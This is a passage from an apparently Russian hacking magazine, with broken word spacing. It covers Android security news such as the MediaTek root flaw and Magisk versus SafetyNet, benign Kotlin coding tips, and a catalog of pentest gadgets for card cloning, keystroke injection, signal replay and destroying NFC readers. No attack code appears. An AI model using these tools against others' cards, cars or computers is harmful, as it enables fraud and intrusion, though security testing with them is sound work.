изме нения  от  pull-рек веста  GitHub  к  вер сии  пакета  npm,  в  котором
это изме нение при мене но.

Так же  Фрид ман  отме чает,  что  CLI  по‐преж нему  оста нет ся  бес плат ным,
с  откры тым  исходным  кодом.  А  поз же  в  этом  году,  по  его  сло вам,  кли енты
NPM,  опла чива ющие  хос тинг  час тных  пакетов,  смо гут  перенес ти  свой  код
в GitHub Packages.

Сум ма  сдел ки  не  раз гла шает ся,  лишь  раз работ чики  NPM  намека ют,  что
это «вов се не исто рия о стар тапе сто имостью газил лион дол ларов».

ДРУ ГИЕ ИНТЕ РЕС НЫЕ СОБЫТИЯ МЕСЯЦА

На Pwn2Own взло мали Windows, Ubuntu, macOS, Safari, VirtualBox и Adobe Reader

Уль траз вуковая ата ка поз воля ет кон тро лиро вать голосо вых помощ ников

Влас ти США обви нили двух граж дан Китая в отмы вании денег, похищен ных северо корей ски ми
хакера ми

Ис сле дова тели: ЦРУ ата кова ло китай ские ком пании и учрежде ния на про тяже нии 11 лет

Об наруже но более 700 проб лемных под доменов Microsoft, вклю чая mybrowser.microsoft.com

Firefox отка зыва ется от под дер жки про токо ла FTP

С 2014 года баг поз воля ет похищать 2ФА‐коды из при ложе ния Google Authenticator

Из‐за опас ного бага Avast отклю чил JavaScript‐дви жок в сво ем анти виру се

Вь етнам ские хакеры годами ломали дру гих хакеров

Поль зовате ли iOS в Гон конге ста ли жер тва ми мно гофун кци ональ ной мал вари LightSpy
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Се год ня  в  выпус ке:  исто рия  нашумев шей
уяз вимос ти  в  смар тфо нах  на базе про цес‐ 
соров  MediaTek,  под водные  кам ни  пор‐ 
тирова ния Android на iPhone, исто рия о том,
почему  фун кция  скры тия  root  с  помощью
Magisk  вско ре  ста нет  бес полез ной.  А  так‐ 
же:  инлай новые  клас сы  и  прин цип  ком‐ 
позиции  в  Kotlin,  новый  спо соб  запус ка
активнос тей  и  зап роса  пол номочий,  нес‐ 
коль ко новых инс тру мен тов пен теста и биб‐ 
лиотек для прог раммис тов.

ПОЧИТАТЬ

Ис тория уяз вимос ти устрой ств на про цес сорах MediaTek

 — исто рия обна руже ния и попыток залатать кри тичес кий баг
в устрой ствах на базе китай ских про цес соров MediaTek.

Critical MediaTek  rootkit  affecting millions of Android devices has been out  in  the
open for months

Крат кая пре дыс тория: в начале мар та по всем сколь ко‐нибудь свя зан ным
с  безопас ностью  и  мобиль ными  устрой ства ми  сай там  про кати лась  новость
о  весь ма  опас ной  уяз вимос ти,  выяв ленной  бук валь но  во  всех  устрой ствах,
исполь зующих  64‐бит ные  про цес соры  MediaTek.  Мало  того  что  уяз вимость
поз воляла получить пра ва  root и отклю чить SELinux  (одну из базовых сис тем
безопас ности  Android),  она  еще  и  была  очень  прос та  в  экс плу ата ции  (один
незатей ливый экс пло ит, не тре бующий осо бых усло вий для успешно го взло‐ 
ма).

Ши рокая общес твен ность  узна ла об  уяз вимос ти бла года ря мар тов ско му
пат чу  безопас ности  Android,  в  котором  она  получи ла  помет ку  кри тичес кой.
Одна ко  исто рия  обна руже ния  уяз вимос ти  начина ется  вов се  не  с  пат ча,  а  с

 поль зовате ля diplomatic на форуме XDA Developers. Пост был пос вящен
план шету Amazon Fire.
пос та

Еще  год  назад  diplomatic  обна ружил,  что  драй вер  CMDQ  в  ядре  Linux
для  про цес соров  MediaTek  при нима ет  ioctl‐коман ды  от  кого  угод но.
С помощью этих команд мож но получить дос туп к DMA‐буферу, модифи циро‐ 
вать память ядра и отклю чить SELinux. Поз же diplomatic и дру гие поль зовате‐ 
ли форума выяс нили, что экс пло ит работа ет поч ти на всех устрой ствах с 64‐
бит ным про цес сором MediaTek за исклю чени ем устрой ств Vivо, OPPO, Huawei
и Samsung с Android 8 и выше, на которых есть защита от получе ния прав root
с помощью экс пло итов.

Ком пания  MediaTek  про пат чила  драй вер  еще  в  мае  2019  года,  но  это
не прос то  не решило проб лемы. Дело  в  том,  что MediaTek про изво дит  про‐ 
цес соры  низ кого  ценово го  диапа зона,  и  их  уста нав лива ют  в  бюд жетни ки,
под дер жка  которых  неред ко  закан чива ется  в  момент  выпус ка  смар тфо на
с кон вей ера. Это те самые Blackview, Elefone и про чий китай ский шир потреб.
Теперь все это — перенос ной бэк дор, без защит ный перед прос тей шей мал‐ 
варью, уста нов ленной из варез ников (а такая уже сущес тву ет — 

 исполь зует уяз вимость MediaTek наряду с уяз вимостью
CVE‐2019‐2215 для получе ния кон тро ля над устрой ством).

об наружен‐ 
ный Trend Micro тро ян

Имен но  по  этой  при чине  патч  для MediaTek  в  ито ге  попал  в  сос тав  офи‐ 
циаль ного пат ча безопас ности Android. Это дает шанс,  что  хотя бы  круп ные
про изво дите ли обно вят свои устрой ства, что бы не нарушать договор о двух‐ 
годич ной  под дер жке  устрой ств.  С  дру гой  сто роны,  доля  про пат ченных
устрой ств вряд ли под нимет ся выше 1%.

CVE‐2020‐0069

Ис тория пор тирова ния Android на iPhone
 — исто рия  про екта Sandcastle,  в  рам ках

которо го  раз работ чики  из  ком пании  Corellium  сумели  пор тировать  Android
на iPhone.

An  adventure  13  years  in  the making

Са ма  воз можность  пор тирова ния  появи лась бла года ря  экс пло иту  check‐
m8, который исполь зует уяз вимость в заг рузчи ке iPhone и поз воля ет не прос‐ 
то выпол нить Jailbreak, а получить пол ный кон троль над устрой ством, вклю чая
воз можность уста нов ки и заг рузки аль тер натив ных опе раци онных сис тем.

Но инте рес но даже не это, а  то, с  какими слож ностя ми стол кну лись раз‐ 
работ чики. В пер вую оче редь это кас томный про цес сор Apple, который вро‐ 
де бы сов местим со стан дар тным ARM, но име ет мас су мел ких отли чий: «поч‐ 
ти» сов мести мый с Samsung UART‐кон трол лер, «поч ти» сов мести мый с Sam‐
sung  SPI‐кон трол лер,  нес тандар тный  кон трол лер  пре рыва ний,  собс твен ный
спо соб вклю чения допол нитель ных ядер про цес сора и так далее.

Еще более инте рес ная исто рия про изош ла с пор тирова нием плат формы
Android  поверх  уже  пор тирован ного  ядра  Linux.  Ока залось,  что  Android
в  прин ципе  не  под держи вает  работу  со  стра ница ми  памяти  с  отличным
от  4  Кбайт  раз мером  (Apple  исполь зует  16  Кбайт).  Так же  Android  ока зал ся
не  сов сем  64‐раз рядной  сис темой:  во мно гих  мес тах  ее  до  сих  пор мож но
най ти  32‐бит ный  код,  который  прос то  не  будет  работать  на  пол ностью  64‐
бит ном про цес соре Apple.

Па радок саль но,  но  порт  Android  для  iPhone  стал  пер вой  пол ностью  64‐
бит ной сбор кой Android в исто рии.

Факт раз лочки заг рузчи ка боль ше не скрыть
 — статья

о  том,  как  Google  обыг рала  раз работ чика Magisk  и  сде лала  скры тие  фак та
раз лочки заг рузчи ка невоз можным.

Magisk may no  longer be able  to hide bootloader unlocking  from apps

Се год ня  Magisk  —  это  единс твен ный  надеж ный  спо соб  получить  root
на сто ковой про шив ке Android. Magisk стал популя рен и выжил в вой не про тив
Google  бла года ря  исполь зованию метода  рутин га,  не  тре бующе го модифи‐ 
кации сис темно го раз дела, и воз можнос ти скрыть наличие прав root от опре‐ 
делен ных  при ложе ний  (нап ример,  бан ков ских  кли ентов,  пла теж ных  сис тем
и онлайн‐игр).

Что бы  скрыть  root,  Magisk  исполь зует  нес коль ко  трю ков,  которые  обма‐ 
ныва ют  при ложе ние  и  сис тему  SafetyNet,  пред назна чен ную  для  про вер ки
смар тфо на на безопас ность. Дол гое вре мя SafetyNet исполь зовала эвристи‐ 
чес кие  методы  для  опре деле ния  root  и  раз бло киров ки  заг рузчи ка  (которая
тре бует ся для уста нов ки Magisk).

Од нако поль зовате ли начали замечать, что некото рые смар тфо ны боль ше
не про ходят про вер ку SafetyNet с уста нов ленным Magisk. Раз работ чик Magisk
отве тил,  что  иног да  SafetyNet  боль ше  не  полага ется  на  прос тую  про вер ку
сос тояния  заг рузчи ка  (которую  уме ет  обма нывать  Magisk),  а  вмес то  это го
исполь зует  при ват ный  ключ  шиф рования  из  защищен ного  хра нили ща  Key‐
store, что бы под твер дить дос товер ность передан ных дан ных.

Обой ти  эту  защиту  мож но,  лишь  получив  дос туп  к  при ват ному  клю чу,
который  хра нит ся  в  выделен ном  крип тогра фичес ком  соп роцес соре  (TEE),
а  сде лать  это  очень  проб лематич но  (Google  пла тит  от  250  тысяч  до  1  мил‐ 
лиона дол ларов за подоб ную уяз вимость).

Все  это  озна чает,  что  сов сем  ско ро  все  сер тифици рован ные  Google
устрой ства на базе Android 8 и выше прос то перес танут про ходить про вер ку
SafetyNet и Magisk будет бес полезен, если уста нов лены бан ков ские кли енты
и дру гие при ложе ния, исполь зующие SafetyNet.

РАЗРАБОТЧИКУ

StartActivityForResult в 2020 году
  —  неболь шая  замет ка  о  решении

одной  из  самых  раз дра жающих  задач,  воз ника ющих  при  раз работ ке  при‐ 
ложе ний для Android.

A  first  look  at  AndroidX  Activity  Result  APIs

Речь  идет  о  фун кции  ,  которая  поз воля ет
запус тить активность дру гого при ложе ния, что бы перело жить на нее решение
опре делен ной  задачи:  получе ние  сним ка  с  помощью  камеры,  выбор фай ла
и  так  далее.  Дан ный  механизм  серь езно  облегча ет  жизнь  раз работ чика,
но  реали зован  самым  неудоб ным  из  воз можных  спо собов.  Раз работ чику
необ ходимо  запус тить  активность,  передав  ей  спе циаль ный  код,  а  затем
ждать  резуль тат  в  кол бэке,  реали зован ном  с  помощью  пере опре деле ния
метода   в активнос ти или фраг менте. И все бы ничего,
но точ но таким же спо собом реали зован зап рос пол номочий, так что код при‐ 
ложе ния в ито ге рас полза ется по мно жес тву внеш не никак не свя зан ных меж‐ 
ду собой фун кций.

startActivityForResult()

onActivityResult()

Су щес тву ет мас са спо собов решения этой проб лемы с помощью сто рон‐ 
них  биб лиотек,  но  эта  статья  рас ска зыва ет  об  офи циаль ном  решении
от  Google.  В  аль фа‐вер сии  биб лиоте ки  AndroidX  Activity  наконец  появил ся
удоб ный в исполь зовании API, поз воля ющий работать с активнос тями дру гих
при ложе ний, не раз мазывая код по активнос ти сво его при ложе ния.

Для  начала  нуж но  с  помощью    опи сать  интент,  который  будет
исполь зован  для  запус ка  активнос ти,  и  обра бот чик  резуль тата  выпол нения
активнос ти:

кон трак та

class MyContract : ActivityResultContract<Int, String>() {
   companion object {
       const val ACTION = "com.myapp.action.MY_ACTION"
       const val INPUT_INT = "input_int"
       const val OUTPUT_STRING = "output_string"
   }

   override fun createIntent(input: Int): Intent {
       return Intent(ACTION)
           .apply { putExtra(INPUT_INT, input) }
   }

   override fun parseResult(resultCode: Int, intent: Intent?): 
String? {
       return when (resultCode) {
           Activity.RESULT_OK ‐> intent?.getStringExtra(OUTPUT
_STRING)
           else ‐> null
       }
   }
}

За тем  мы  исполь зуем  ,  что бы  соз дать  объ ект  клас са  Activi‐
tyResultsLauncher,  с  помощью  которо го  запус каем  активность  и  получа ем
резуль тат в кол бэке:

prepareCall()

class MyActivity : AppCompatActivity() {
   private val myActionCall = prepareCall(MyContract()) { result ‐>
       Log.i("MyActivity", "Obtained result: $result")
   }

   override fun onCreate(savedInstanceState: Bundle?) {
       super.onCreate(savedInstanceState)
       ...
       button.setOnClickListener {
           myActionCall(500)
       }
   }
}

Выг лядит  нем ного  слож но.  Но  такой  под ход  не  раз руша ет  связ ность  кода.
Кро ме того,  уже сей час биб лиоте ка содер жит нес коль ко пре доп ределен ных
кон трак тов,  в  том  чис ле  для  получе ния  сним ка  (TakePicture),  выпол нения
звон ка (Dial) и, конеч но же, зап роса пол номочий (RequestPermission).

Ин лайн‑клас сы в Kotlin 1.3
  —  статья  с  под робным  объ ясне нием  новой

экспе римен таль ной язы ковой конс трук ции Kotlin под наз вани ем inline‐клас сы.
Zero‐cost*  abstractions  in  Kotlin

Од на из клю чевых осо бен ностей язы ка Kotlin — null safety, которая гаран‐ 
тиру ет, что прог раммист не смо жет по ошиб ке выз вать методы объ екта, име‐ 
юще го зна чение null, или передать этот объ ект в качес тве аргу мен та дру гим
методам. Null safety сущес твен но повыша ет надеж ность кода, но не защища‐ 
ет от дру гих оши бок прог раммис та.

До пус тим,  у  тебя  есть база  котов  и  собак,  которых  ты  иден тифици руешь
по  ID. Так же у тебя есть метод  , который воз вра‐ 
щает информа цию о собаке с кон крет ным ID. Оче вид но, что, если в качес тве
ID  собаки  ты  передашь  методу  ID  кош ки,  это  будет  ошиб кой,  которая  при‐ 
ведет  к  неоп ределен ному  резуль тату.  Но  ни  сре да  раз работ ки,  ни  ком‐ 
пилятор не ска жут тебе о ней.

getDogById(dogId: Long)

Еще  во  вре мена  Java  прог раммис ты  при дума ли  метод  обой ти  эту  проб‐ 
лему с помощью так называ емых клас сов‐обер ток. Ты прос то соз даешь класс

 с единс твен ным полем (ID собаки) и исполь зуешь его вез де, где рань‐ 
ше исполь зовал  тип Long в  качес тве  ID. Все осталь ное  ком пилятор и сре да
раз работ ки сде лают за тебя: они прос то не поз волят передать   в качес‐ 
тве аргу мен та фун кции, которая ожи дает  , — это ошиб ка.

DogId

DogId
CatId

Но есть в клас сах‐врап перах одна проб лема. Соз дание объ ектов не самая
дешевая  опе рация.  Если  ты  будешь  пло дить  их  на  каж дый  чих,  то  вско ре
заметишь  воз росшее  пот ребле ние  опе ратив ной  памяти  и  про цес сорных
ресур сов.

И здесь на сце ну выходят инлайн‐клас сы. По сво ей сути инлайн‐класс —
это класс‐врап пер с одним парамет ром, который при ком пиляции раз ворачи‐ 
вает ся в этот параметр, что бы избе жать нак ладных рас ходов. Нап ример:

inline class DogId(val id: Long)
val dog = getDogById(DogId(100L))

Дан ный код написан с исполь зовани ем врап пера, что бы избе жать опи сан ной
выше ошиб ки. Одна ко при ком пиляции объ ект   будет заменен Long, так
что никаких допол нитель ных нак ладных рас ходов не пот ребу ется.

DogId

Ком пилятор нак ладыва ет сле дующие огра ниче ния на инлайн‐клас сы:
не боль ше одно го парамет ра;•
ни каких теневых полей;•
ни каких бло ков ини циали зации;•
ни како го нас ледова ния.•

Од нако инлайн‐клас сы могут:
ре али зовать интерфейс;•
иметь свой ства и фун кции.•

Так же  сто ит  иметь  в  виду,  что  инлайн‐клас сы  не  всег да  будут  раз верну ты
в свой параметр. Глав ное пра вило здесь: 

.

объ ект инлайн‑клас са не будет

раз вернут,  если  исполь зует ся  в  качес тве  аргу мен та  фун кции,  ожи- 

дающей дру гой тип

Нап ример, фун кции  для  работы  с  кол лекци ями  ( ,    и  им
подоб ные) обыч но при нима ют на вход параметр типа Object или Any, так что
передан ный им объ ект инлайн‐клас са раз вернут не будет. Фун кция 
так же при нима ет в качес тве аргу мен та тип Any, поэто му сле дующие два при‐ 
мера работа ют оди нако во, но вто рой при ведет к допол нитель ным нак ладным
рас ходам:

listOf() setOf()

equals()

val doggo1 = DogId(1L)
val doggo2 = DogId(2L)

// Оба объекта будут развернуты
doggo1 == doggo2

// doggo1 будет развернут, а doggo2 — нет
doggo1.equals(doggo2)

Объ ект не будет раз вернут и если объ ект инлайн‐клас са передать фун кции,
аргу мент которой име ет nullable‐тип:

val doggo = DogId(1L)

fun pet(doggoId: DogId?) {}

// Объект не будет развернут
pet(doggo)

Ин терес но так же, что ком пилятор под держи вает пере опре деле ние фун кций,
при нима ющих объ ект инлайн‐клас са и его необер нутый ана лог. То есть сле‐ 
дующий код будет успешно ском пилиро ван:

fun pet(doggoId: Long) {}
fun pet(doggoId: DogId) {}

Ну и  пос леднее,  что  сто ит  иметь  в  виду:  инлайн‐клас сы — это  экспе римен‐ 
таль ная воз можность, которая может изме нить ся со вре менем или будет уда‐ 
лена.

Ком позиция про тив нас ледова ния в Kotlin
  —  неболь шая  замет ка,  хорошо

иллюс три рующая  прин цип  ком позиции  объ ектов  и  его  пре иму щес тва
перед нас ледова нием.

Composition  over  inheritance  (and  Kotlin)

Взгля ни на сле дующий код:

open class Parent {
   fun parentFunctionality() {}
}

open class Child(): Parent() {
   fun childFunctionality() {}
}

class Grandchild constructor() : Child() {
   fun grandchildFunctionality() {}
}

Это канони чес кий при мер нас ледова ния в объ ектно ори енти рован ном прог‐ 
рамми рова нии. Объ ект клас са   смо жет вызывать методы 

  и  .  Код  кра сив  и  замеча телен.
Но пред ставь себе, что будет, если силь но усложнить этот при мер, добавив
в каж дый класс мно жес тво новых откры тых методов и свя зав их меж ду собой.
В какой‐то момент может ока зать ся, что ты пере опре деля ешь метод, который
исполь зует ся дру гим методом, и таким обра зом лома ешь фун кци ональ ность
все го объ екта.

Grandchild parent‐
Functionality() childFunctionality()

Ра зуме ется, гра мот ный дизайн поможет избе жать этой проб лемы, но что,
если коман да раз работ чиков сос тоит не толь ко из тебя одно го и в коде есть
мно жес тво клас сов с нез накомым тебе кодом?

На  самом  деле  в  сов ремен ном  мире  нас ледова ние  уже  не  счи тает ся
единс твен но вер ным спо собом про екти рова ния при ложе ния. Во мно гих слу‐ 
чаях  более  пред почти тель ным  будет  прин цип  ,  ког да  вмес то
клас са‐нас ледни ка  соз дает ся  новый  класс,  который  не  пере опре деля ет
методы пред ка, а вызыва ет их нап рямую.

ком позиции

Пре дыду щий код, перепи сан ный с исполь зовани ем прин ципа ком позиции,
будет выг лядеть так:

class Parent {
   fun parentFunctionality() {}
}

class Child() {
   private val parent = Parent()

   fun parentFunctionality() { parent.parentFunctionality() }
   fun childFunctionality() {}
}

class Grandchild  {
   private val parent = Parent()
   private val child = Child()

   fun parentFunctionality() { parent.parentFunctionality() }
   fun childFunctionality() { child.childFunctionality() }
   fun grandchildFunctionality() {}
}

Прин цип ком позиции не толь ко поз воля ет избе жать труд но уло вимых багов,
но и упро щает тес тирова ние (класс‐пре док лег ко заменить фей ковой реали‐ 
заци ей)  и  соп ровож дение  при ложе ния  (код  ста новит ся  более  оче вид ным
и понят ным).

Kotlin  содер жит  нес коль ко  инс тру мен тов,  которые  могут  упростить  ком‐ 
позицию клас сов и даже при нудить тебя исполь зовать ее вмес то нас ледова‐ 
ния.  Нап ример,  имен но  по  при чине  воз можных  багов  Kotlin  дела ет  клас сы
не  нас леду емы ми  по  умол чанию.  Так же  здесь  есть  под дер жка  синг лто нов
на уров не язы ка, так что мно гие клас сы мож но быс тро офор мить в виде синг‐ 
лто нов и нап рямую вызывать их методы без необ ходимос ти соз давать класс
и хра нить на него ссыл ку.

Фун кция‐делегат    так же  помога ет  соз давать  ком позиции,  а  точ нее
миними зиро вать  воз можный  овер хед.  В  сле дующем  коде  объ ект 
будет  соз дан  толь ко  в момент пер вого обра щения  к  нему,  то есть  не будет
занимать допол нитель ную память, если вооб ще не исполь зует ся:

lazy
parent

open class Parent {
   fun parentFunctionality() {}
}

open class Child() {
   val parent by lazy { Parent() }
   ...
   fun childFunctionality() {}
}

Ну и пос леднее — фун кции‐рас ширения, которые поз воля ют добавить новые
методы к сущес тву юще му клас су без необ ходимос ти нас ледовать ся от него:

class SystemClass {
   ...
}

fun SystemClass.newFunctionality() {}

SystemClass().newFunctionality()

ИНСТРУМЕНТЫ

 — скрипт для быс тро го ана лиза APK‐ и IPA‐фай лов;• Fufluns
 — скрипт Frida для под делки мес тополо жения.• Hook_location_frida.js

БИБЛИОТЕКИ

  —  ани миро ван ная  панель  навига ции  в  ниж ней  час ти
экра на;

• AnimatedBottomBar

 — набор фун кций‐рас ширений Kotlin для работы с цве том;• AndroidColorX
 — TextView,  внут ри  которо го мож но про изволь но рас‐ 

положить изоб ражение;
• CompoundTextView

 — бин динги Kotlin для биб лиоте ки NumPy;• Kotlin‐numpy
 — ани миро ван ные toast‐сооб щения;• MotionToast
 — инс тру мент прос мотра баз дан ных пря мо через при ложе‐ 

ние.
• RoomExplorer
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COVERSTORY

Мы отоб рали пят надцать девай сов, с которы ми мож но пен‐ 
тестить  все  что  угод но:  от  физичес ких  устрой ств  до  бес‐ 
контак тных  карт. Сюда  не  вош ли более обык новен ные  инс‐ 
тру мен ты  вро де  отверток  и  паяль ников  —  их  про ще
выбирать  на  свой  вкус.  Наде емся,  ты  прис мотришь
что‐нибудь инте рес ное в этом спис ке.

INFO

В  прош лый  раз  мы  делали  под борку  инс тру мен‐ 
тов  для  хакер ско го  чемодан чика  .
С  тех  пор  мно гое  изме нилось!  Смот ри  так же
статьи « » и «

».

в  2014  году

14 гад жетов для взлом щика 64 подар‐ 
ка для хакера

RASPBERRY PI 4
 от 35 дол ларов Це на:

Офи циаль ный сайт

Ми ни‐компь юте ры Raspberry Pi из новей шего модель ного ряда работа ют
на четырехъ ядер ных армов ских чипах, осна щают ся 1, 2 или 4 Гбайт опе ратив‐ 
ной памяти, под держи вают связь по Wi‐Fi  и Bluetooth и име ют по два пор та
micro HDMI  и  по  четыре USB. Они  уже поч ти  что могут  заменить  недоро гой
офис ный дес ктоп, час то исполь зуют ся для соз дания меди ацен тров и домаш‐ 
них сер веров, а так же в мас се раз ных про ектов — от музыкаль ных инс тру мен‐ 
тов до роботов. Но нас инте ресу ет дру гое: Raspberry может стать пор татив‐ 
ной сис темой для пен тестов. А готовых кор пусов, дис пле ев, батаре ек и дру‐ 
гого обве са для них — великое мно жес тво. Более под робный 

 мы пуб ликова ли в 2019 году, а здесь лишь под твер дим, что «малина» —
это  опре делен но  маст‐хэв.  Кста ти,  в  ревизии  1.2  решили  проб лему  сов‐ 
мести мос ти с некото рыми заряд ками USB‐C, имей в виду.

об зор Raspber‐
ry Pi 4

PROXMARK 3
 100–300 евро Це на:

Стра ница на Kickstarter

Од ним из луч ших помощ ников для про веде ния атак на бес контак тные кар‐ 
ты  было  и  оста ется  устрой ство  под  наз вани ем  Proxmark3.  Оно  дос тупно
в нес коль ких вари антах.
1. RDV1 — ста рая вер сия устрой ства, ред ко встре чает ся на рын ке и не име ет
осо бых пре иму ществ.

2. RDV2  —  пре иму щес тво  этой  вер сии  зак люча ется  в  наличии  разъ ема
для внеш ней антенны.

3. RDV3 — самая популяр ная (и дешевая) модель на рын ке, дос тупны китай‐ 
ские кло ны с теми же фун кци ями, но не всег да ста биль ной работой.

4. RDV4 — пос ледняя вер сия Proxmark, которая заод но вклю чает в себя тех‐ 
ничес кое  и  прог рам мное  обес печение  для  работы  со  смарт‐кар тами.
Самая дорогая модель из спис ка.

Proxmark  заменит  для  тебя  все  ана логич ные  устрой ства,  но  сто ит  заметить,
что  если  ты  собира ешь ся  изу чать  толь ко  кар ты Mifare,  то  луч ше  пос мотреть
в сто рону  .Chameleon Mini

APIMOTE
 150 дол ларов Це на:

Офи циаль ный сайт

Ес ли ты успел стол кнуть ся с умным домом, то навер няка слы шал и о про‐ 
токо ле  ZigBee.  Ему  уже  мно го  лет,  но  готовых  устрой ств  для  тес тирова ния
безопас ности сетей не так мно го. Сре ди них мож но выделить пла ту APImote,
которая работа ет в связ ке с фрей мвор ком killerbee. Устрой ство пос тавля ется
в  готовом  виде,  но  для  любите лей  паять  раз работ чики  выложи ли  на GitHub

.схе мы KiCad

E-MATE X
 100 дол ларов Це на:

Офи циаль ный сайт

На бор  E‐Mate  X  будет  полез ным  подар ком  тем,  кто  час то  работа ет
со встра иваемы ми сис темами или смар тфо нами. Сос тоит он из  три над цати
переход ников с чипов энер гонеза виси мой памяти в кор пусе BGA на раз ные
прог рамма торы и даже на SD‐вход  (что поз воля ет в некото рых слу чаях счи‐ 
тывать  память  без  прог рамма тора).  Сто имость  ана логов  толь ко  с  одним
из  переход ников  может  пре вышать  сто имость  E‐Mate  X  в  два  раза,  а  то
и боль ше.

MAGSPOOF
 60 дол ларов Це на:

Офи циаль ный сайт

При работе с маг нитны ми кар тами мно гие стал кива ются с одной и той же
проб лемой:  счи тыва тель  трех полос ных  карт  с  воз можностью  записи  порой
сто ит  в  пять  раз  дороже,  чем  тот  же  счи тыва тель  без  воз можнос ти  записи.
Имен но для таких задач была раз работа на пла та MagSpoof, на которую мож‐ 
но записы вать дан ные трех маг нитных полос и спу фить их. Тем самым устрой‐ 
ство заменя ет нас тоящую кар ту. А в совокуп ности с ридером маг нитных карт
ты сэконо мишь полови ну денег и получишь пол ноцен ное устрой ство для тес‐ 
тирова ния безопас ности про пус кной или пла теж ной сис темы.

O.MG CABLE
 120 дол ларов Це на:

Офи циаль ный сайт

Ка бель O.MG стал известен в основном бла года ря выс тупле нию его раз‐ 
работ чиков на DEFCON 2019. В этот кабель зашит пол ноцен ный Rubber Ducky
с Wi‐Fi, поз воля ющий уда лен но вво дить коман ды кла виату ры в под клю чен ное
устрой ство. А глав ный плюс O.MG — его внеш ность неот личима от обыч ного
кабеля для заряд ки. Есть нес коль ко вари антов: Type‐C, micro‐USB и Lightning.

DSLOGIC
 60–150 дол ларов Це на:

Офи циаль ный сайт

От лаживать циф ровые схе мы помога ет логичес кий ана лиза тор. А ана лиза‐ 
торы  серии  DSLogic  зареко мен довали  себя  как  одни  из  луч ших  по  соот‐ 
ношению  цены  и  качес тва.  Более  того,  в  отли чие  от  про дук ции  Saleae,  они
под держи вают  работу  с  опен сор сны ми  про екта ми,  нап ример  с  PulseView.
Все го  на  офи циаль ном  сай те  дос тупны  три  модели  DSLogic:  Plus,
U3Pro16 и U3Pro32. А если увле каешь ся пай кой, то можешь поис кать DSLogic
Basic на AliExpress. Эта модель ничем не отли чает ся от DSLogic Plus,  кро ме
более  низ кой  цены  и  объ ема  памяти.  Кста ти,  будет  еще  допол нитель ный
челендж, если захочешь сде лать апгрейд.

FACEDANCER21
 85 дол ларов Це на:

Офи циаль ный сайт

Ус трой ство FaceDancer21 — это обя затель ный инс тру мент для  тес тиров‐ 
щика пла теж ных тер миналов. С его помощью мож но про делы вать сле дующие
вещи.
1. Эму лиро вать раз ные USB‐устрой ства. Мож но, нап ример, соз дать устрой‐ 
ство  с  опре делен ным  ID  и  обой ти  спи сок  раз решен ных  под клю чаемых
устрой ств.

2. Оп ределять,  какие  типы  устрой ств  под держи вает  порт  USB.  Полез но
при  работе  с  бан комата ми  и  бес про вод ными  заряд ками  (в  слу чае,  если
бес про вод ная заряд ка — порт неболь шого компь юте ра).

3. Фаз зить: удоб но для поис ка 0day в драй верах USB.
4. Вза имо дей ство вать по USB, исполь зуя биб лиоте ку на Python.

В свя зи с тем что пла та откры тая, цена ее варь иру ется в зависи мос ти от жад‐ 
ности про изво дите ля.

YARD STICK ONE
 100 дол ларов Це на:

Офи циаль ный сайт

Ес ли  ты  про бовал  раз бло киро вать  замок  сво его  авто моби ля,  пов торяя
сиг нал раз бло киров ки, то, воз можно, оце нишь это устрой ство. Yard Stick One
поз воля ет отправ лять и при нимать тра фик на популяр ных час тотах (до 1 ГГц).
Его отли читель ная чер та — это исполь зование чипа CC1111, который поз воля‐ 
ет аппа рат но демоду лиро вать или модули ровать сиг нал, что повыша ет качес‐ 
тво при ема и переда чи. Для работы с Yard Stick пот ребу ется уста новить бес‐ 
плат ную ути литу  .RFCat

NFC KILL
 180/250 дол ларов Це на:

Офи циаль ный сайт

Нем ногих  сей час  мож но  уди вить  устрой ства ми  для  тес тирова ния  бес‐ 
контак тных карт. Но девайс NFC Kill  тебя точ но заин тересу ет: в пер вую оче‐ 
редь он пред назна чен для фаз зинг‐тес тирова ния сис тем бес контак тно го счи‐ 
тыва ния.  А  допол нитель ные  фун кции  поз воля ют  выводить  из  строя
как  ридеры,  так  и  сами бес контак тные  кар ты.  Работа ет  девайс  на  трех  час‐ 
тотах:  Low Frequency  (125–134  кГц), High Frequency  (13,56 МГц) и Ultra High
Frequency (850–930 МГц). Он пос тавля ется в двух вер сиях: Standard и Profes‐
sional. Раз ница меж ду ними в воз можнос ти запус кать тес ты без физичес кого
вза имо дей ствия с девай сом.

BASH BUNNY
 100 дол ларов Це на:

Офи циаль ный сайт

Ско рее все го, ты уже зна ком с Rubber Ducky — устрой ством, которое эму‐ 
лиру ет кла виату ру и на авто мате вво дит вре донос ные коман ды в компь ютер
жер твы.  Устрой ство Bash Bunny —  это  более  изощ ренный  вари ант  девай са
для HID‐атак. Помимо кла виату ры, он может эму лиро вать любые устрой ства
для пос ледова тель ного пор та, фай ловые хра нили ща и адап теры USB — Eth‐
ernet. Этот девайс отлично подой дет для про веде ния тес тов Red Team и поз‐ 
воля ет сэконо мить день ги и мес то в поход ном наборе.

HYDRABUS
 75 евро Це на:

Офи циаль ный сайт

HydraBus  изна чаль но  раз рабаты вал ся  как  пол ноцен ная  замена  уста рев‐ 
шей пла те BusPirate. Вот спи сок основных дос тоинств HydraBus:

пре дос тавля ет  пол ноцен ный  поль зователь ский  интерфейс  для  работы
с  популяр ными  аппа рат ными  интерфей сами  (I2C,  SPI,  UART,  1–3‐wire,
JTAG/SWD);

•

HydraBus  мож но  исполь зовать  сов мес тно  с    для  работы
в режиме логичес кого ана лиза тора;

• PulseView

есть биб лиоте ка на Python, что упро щает исполь зование;•
есть слот MicroSD для сох ранения информа ции по ходу работы.•

Сто имость пла ты сос тавля ет 40–75 евро. Допол нитель но за 110 евро к ней
мож но  при купить  модуль    для  работы  с  бес контак тны ми  кар тами
или откры тую плат ку   для работы с CAN‐шиной.

HydraNFC
HydraLINCAN

OPTICSPY
 65–100 дол ларов Це на:

Офи циаль ный сайт

Ус трой ства  типа  роуте ров  час то  переда ют  мно го  цен ной  информа ции
при  помощи мига ющих  све тоди одов,  осо бен но  при  вклю чении.  Быва ет,  что
такие све тоди оды под клю чают к линии переда чи дан ных, нап ример к пину TX
шины  UART.  Что бы  получать  информа цию  с  это го  канала  переда чи  дан ных
без пай ки и дорогих логичес ких ана лиза торов, раз работа ли плат ку под наз‐ 
вани ем OpticSpy. Для работы пот ребу ется уста новить питонов скую биб лиоте‐ 
ку,  под клю чить OpticSpy  к  компь юте ру  через USB и  под нести  его фотоди од
к источни ку све та. Демо можешь  .гля нуть на YouTube

HUNTER CAT
 35 дол ларов Це на:

Офи циаль ный сайт

В 2019 году на рын ке появи лось инте рес ное устрой ство — Hunter Cat. Его
